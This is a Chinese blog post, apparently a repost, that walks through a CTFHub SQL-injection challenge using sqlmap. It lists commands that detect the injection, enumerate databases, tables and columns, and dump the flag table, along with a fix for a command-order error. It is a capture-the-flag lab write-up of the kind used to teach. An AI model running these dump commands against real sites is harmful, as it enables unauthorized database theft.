sqlmap使用
Posted 毅xiu
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap使用相关的知识,希望对你有一定的参考价值。
渗透测试工具之sqlmap
工具介绍
一款开源的SQL注入工具,适用于win和kali(本文使用debian)。现在使用最新版sqlmap,通过安装可以实现在Python3的环境里运行。
应用环境
CTFHub平台中的SQL注入相关题目
链接:https://www.ctfhub.com
整型溢出
判断是否存在注入
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 --batch
根据扫描结果,判断可能存在:
- 盲注
- 联合查询
爆出数据库
注意“–” “-”的使用,否则会报错
- 爆所有数据库
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -dbs --batch
2. 爆当前数据库
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 --current-db --batch
得到的数据库“sqli”
爆表名
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch
得到 flag 表 与 news表,猜测flag信息在第一个表中
爆列名
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --batch
列名:flag
取值
其他文章的方法如下,
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -D flag --dump --batch
不知道为什么在自己的环境里面会报错
错误提示:unable to retrieve column names for table ‘flag’ in database ‘flag’
但是,命令按照逻辑似乎没有问题
解决:更改命令顺序如下:
sqlmap -u http://challenge-4dfbb24e6ad5e0fb.sandbox.ctfhub.com:10800/?id=1 --dump -C flag -T flag -D sqli
最后问题解决,得到最终的flag
总结
之前使用SQL注入,采用手动注入再结合python进行遍历,常常因为网络抖动,获取flag相对比较麻烦。用工具会快一些,但是原理理解还是需要手动注入实践。
以上是关于sqlmap使用的主要内容,如果未能解决你的问题,请参考以下文章
整理篇(sqlmap 源码分析os-shell 原理攻防角度使用sqlmap)
阅读sqlmap源代码,编写burpsuite插件--sqlmapapi